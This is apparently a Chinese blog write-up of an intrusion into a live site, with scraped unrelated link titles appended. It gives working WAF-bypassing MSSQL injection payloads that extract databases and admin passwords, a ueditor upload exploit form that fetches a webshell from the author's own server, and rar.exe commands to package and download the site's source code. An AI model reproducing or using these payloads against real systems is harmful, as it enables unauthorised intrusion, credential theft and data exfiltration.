一、前言

如题,由于是在已知有一处sql注入的情况下才接手进行的后续操作,因此前面信息搜集则一笔带过。

二、信息搜集

目标是个本地的传销站点其大致信息为IIS+ASP.NET+安全狗、腾讯云。

三、Bypass Sql

3.1 Fuzz

空格      error
加号      未拦截
等号      error
单引号     error
双引号     未拦截
双括号     未拦截
+select     error
%0bselect   未拦截
%0bselect%0buser%0bfrom 未拦截
%0bselect%0buser%0bfrom%0badmin 拦截
convert()   未拦截

根据如上测试可以看出程序本身也有过滤,error为程序自身的过滤。可以利用IIS处理%符号的机制绕过部分符号,例如空格使用%0b 加号使用%2b等。再根据测试的结果,可以先利用convert转换报错获取一部分信息。

goodscontent.aspx?gid=convert(int,@@version)#版本信息
goodscontent.aspx?gid=convert(int,db_name())#数据库信息
goodscontent.aspx?gid=convert(int,user_name())#当前数据库用户
……
tips:可以通过遍历db_name(1)中的数字获取其他库名

得到以下信息:

ASP.NET 版本:Microsoft .NET Framework 版本:4.0.30319; ASP.NET 版本:4.0.30319.36400
数据库版本:Microsoft SQL Server 2008 (RTM) - 10.0.1600.22 (X64)
用户名:sa
计算机名:10_*_76_*SQLEXPRESS      10.*.76.*
当前库:pan20170823
所有库名:
pan20170823
master
tempdb
model
msdb
ReportServer$SQLEXPRESS
ReportServer$SQLEXPRESSTempDB

再往下就是获取表的信息

goodscontent.aspx?gid=CONVERT(INT,(CHAR(58)%2bCHAR(58)%2b(SELECT%0btop%0b1%0bCAST(COUNT(*)%0bAS%0bnvarchar(4000))%0bFROM%0binformation_schema.TABLES%0b)%2bCHAR(58)%2bCHAR(58)))#获取表总个数

由于我只会简单的select from因此始终无法获取表名,如果有其他姿势还望给科普下。

3.2 万金油

此时陷入僵局,后来想起在404大佬的一篇bypass安全狗的文章中提到过在mssql中注释加换行同样成立,遂构造之。

goodscontent.aspx?gid=--/*%0a(select%0btop%0b1%0btable_name%0bFROM%0binformation_schema.tables%0b)--%20*/
PS:由于注入点已经使用了convert做了数据转换,后续直接防入查询即可

获取到第一个表名:jsrecord

由于还是没能绕过单引号和等号,我始终用不了not in与for xml path来爆后续的表名,这又触及到了我知识盲区,因此只好查阅大量文章案例,最终构造出如下语句。

/goodscontent.aspx?gid=--/*%0a(SELECT%0bTOP%0b1%0btable_name%0bFROM%0binformation_schema.tables%0bWHERE%0btable_name%0bNOT%0bIN(SELECT%0bTOP%0b11%0btable_name%0bFROM%0binformation_schema.columns))--%20*/

此时只需要遍历top的数值即可,例如:

/goodscontent.aspx?gid=--/*%0a(SELECT%0bTOP%0b1%0btable_name%0bFROM%0binformation_schema.tables%0bWHERE%0btable_name%0bNOT%0bIN(SELECT%0bTOP%0b80%0btable_name%0bFROM%0binformation_schema.columns))--%20*/

通过不断的遍历数值发现还是存在问题,举个例子,即 1-20、200-209,334-345返回同一个表名,存在大量重复与无序的情况,但可以通过burp中intruder->Grep-Extact功能来解决,操作如下: 首先设置好intruder对001-600进行遍历(超过600多后就没什么内容了)

然后使用Grep-Extact提取表名。

保存结果后去重即可。

和前面获取到的表总个数是一致的。

解下来就是获取memberadmin表中的列名与内容,但在此之前我还是习惯性的看了下后台的网页源代码。

如图,盲猜列名txt_nickname、nickname、txt_password、password

/goodscontent.aspx?gid=--/*%0a(select%0btop%0b1%0bnickname%0bfrom%0bmemberadmin)--%20*/

/goodscontent.aspx?gid=--/*%0a(select%0btop%0b1%0bpassword%0bfrom%0bmemberadmin)--%20*/

三、后台getshell

登陆后台

经测试后发现信息管理处可以发布咨询,上传图片。通过修改去掉filename="1.aspx"中的双引号绕过安全狗,但无法绕过程序自身的检测。

Content-Disposition: form-data; name="up_picture"; filename=xss.jpg .aspx

不过得知上传组件为ueditor,且.net版本存在上传漏洞 poc如下

<form action="http://***/***/net/controller.ashx?action=catchimage"enctype="application/x-www-form-urlencoded"  method="POST">
<p>shell addr:<input type="text" name="source[]" /></p >
<input type="submit" value="Submit" />
</form>

并在自己的服务器上准备好shell(注意过狗),名称为a.gif,然后填入shell地址

https://o0o0.club/a.gif?.aspx

提交后即可得到shell路径

四、打包源码与数据库

在有了shell之后要做的事情就更明确了,即是打包源码与数据库,由于只需要这两样操作,相对于不需要太大的权限,避免操作不当触发警告。因此我选择先通过shell来进行打包操作。

源码

这里利用的是自行上传的rar.exe来分卷打包源码,在此之前尝试过7z.exe(目标服务器上已安装)、makecab 但效果并不理想,姿势不够还望科普。

rar.exe a -r -v50m -m5 pan20170823 *.*
#a 压缩
#-r 打包子目录
#-v 分卷大小
#-m 压缩等级
#pan20170823目标目录
#*.* 打包后文件名为 pan20170823.part*.rar

最终以每秒100k的速度下载完成。

数据库

略过,后台自带备份功能

坑点:后台的备份文件后缀为zip,下载回来总是提示文件损坏,一直以为备份功能有问题,后来发现文件头是TAPE。。。。

五、本地搭建

本地搭建的环境为 Windows server 2012+IIS8+SQL Server 2008,简单讲讲0.0

SQL Server

安装过程略过 导入数据

新建数据库,然后通过原设备还原数据

还原成功

IIS与http://ASP.NET

安装一笔带过,左边拉满就行,简单粗暴

添加站点

最好对应目标版本

修改源码中的配置文件

访问

pythom打包文件太大_从SQL注入到整站打包与本地搭建相关推荐

  1. 解决Pyinstaller打包文件太大的办法(绝对有效,亲测!!!)

    Pyinstaller打包文件太大 1. 问题原因 在Anaconda下打包会将很多没有用到的模块打包进去,最终导致exe文件特别大. 2. 解决方案 通过pipenv建立一个纯净的Python虚拟环 ...

  2. 小程序开发过程中,图片过多,导致打包文件太大的解决方式

    小程序开发过程中,图片过多,导致打包文件太大 小程序中,除了必须的一些tabbar图片,其他都可以放置在资源服务器上,用url进行引用.不然会因为图片太大使小程序打包后超过2M,不能发行.查了一些资料 ...

  3. Python打包exe程序(pyinstaller)以及打包文件太大的解决方法

    编写的python项目,如何在没有python环境的电脑中运行? 打包成exe可执行程序即可 本文章可以教会你如何将python项目打包成exe可执行程序,以及打包后文件太大该如何解决! 来了来了,开 ...

  4. cad转dxf格式文件太大_想知道DWG、DWT、DWS和DXF是什么吗?从了解4种CAD图形格式开始吧...

    原创:就说我在开发区 常用图形文件格式盘点 CAD中的图形文件格式共9种,其扩展名分别为: ❶DWG – 图形或块文件 ❷DWT – 图形样板文件 ❸DWS – 图形标准文件 ❹DXF – 图形交换文 ...

  5. cad转dxf格式文件太大_高版本的CAD图纸怎么转换成低版本的DXF格式?

    高版本的CAD图纸怎么转换成低版本的DXF格式?因为软件版本的问题可能会有的时候使用软件而无法将图纸文件进行打开,在这种情况下应该进行的操作就是将CAD图纸文件进行版本间的转换了,具体应该怎么样进行操 ...

  6. cad转dxf格式文件太大_如何玩转CAD看图?1分钟,一款完全免费的高效软件,解决所有看图...

    易用CAD看图软件,是一款无需注册,即开即用的CAD看图神器.提供6种基本看图模式,3种三维看图方法,6种CAD图纸编辑功能,加上3种CAD转换功能,且完全免费. 功能介绍: 该工具目前支持▼ 1.C ...

  7. VUE引入Echarts 打包文件过大——解决方法1:按需引入

    在vue中引入echarts文件 ,打包太大怎么办? 可以按需引入 在vue项目中加入了echarts图表.在进行项目打包时发现,因为引入了全局的echarts,导致打包文件太大,在查找了一系列的文章 ...

  8. 解决pyinstaller打包文件过大的问题(Anaconda)

    解决pyinstaller打包文件过大的问题(Anaconda) 前言 过程记录 关于pipenv创建的环境路径 前言 参考资料 pyinstaller基本操作 1.环境 anaconda.pycha ...

  9. Sql server 2005日志文件太大,使其减小的方法

    Sql server 2005日志文件太大,使其减小的方法 Sqlserver2005日志文件太大,使其减小的方法: 运行下面的三行 dbName为数据库名: backup log dbNamewit ...

最新文章

  1. 【Mood-9】搬家至博客园喽~~~
  2. DataWorks 如何设置调度依赖
  3. C++11 auto和decltype关键字
  4. left join和left outer join的区别
  5. 电子报账系统源码_网上商城系统建设心得,轻松搞定选择困难
  6. Ubuntu 14 开启SSH服务与使用root账号登陆
  7. 华为lab-rs-v1-2.9_OSPF区域34
  8. mbsfn子帧_LTE多媒体广播多播业务关键技术研究
  9. QT “error: error writing to -: Invalid argument”
  10. 工作说明书(Statement of Work,简称SOW)
  11. ios h5 出现的问题
  12. 情人节到了,Postman 都脱单了,那你咧?
  13. mysql 主从复制延迟_什么情况会导致MySQL主从复制延迟?
  14. vuecli3代码压缩混淆使用uglifyjs压缩JS
  15. linux光盘属于什么设备,Linux系统中,光盘的设备文件为
  16. 计算机画图更改,如何用电脑画图功能修改图片与加字
  17. python两个表格相同数据筛选_如何将多个表格中数据筛选汇总在一个表格里?
  18. Python的io模块详解
  19. 数据集生成期间遇到的BUG及解决方案
  20. linux在磁盘容量扩容后扩容文件系统

热门文章

  1. java jsp 传递参数的方法,jsp传参方法小结
  2. linux z是什么文件夹,Linux znew初学者命令实例教程
  3. springboot项目 tomcat8.x 频繁宕机 原因分析
  4. Jmeter日志输出和日志级别设置
  5. java layoutmanager_Java Swing 探索(一)LayoutManager
  6. 服务器无法通过系统非页面共享区进行分配,服务器无法通过系统非页面共享区来进行分配的解决方法...
  7. insert事务隔离mysql_MySQL数据库详解(三)MySQL的事务隔离剖析
  8. 循环给对象创建属性名和属性值
  9. R语言安装;Rstudio安装
  10. SVG_text.动态创建换行显示(横)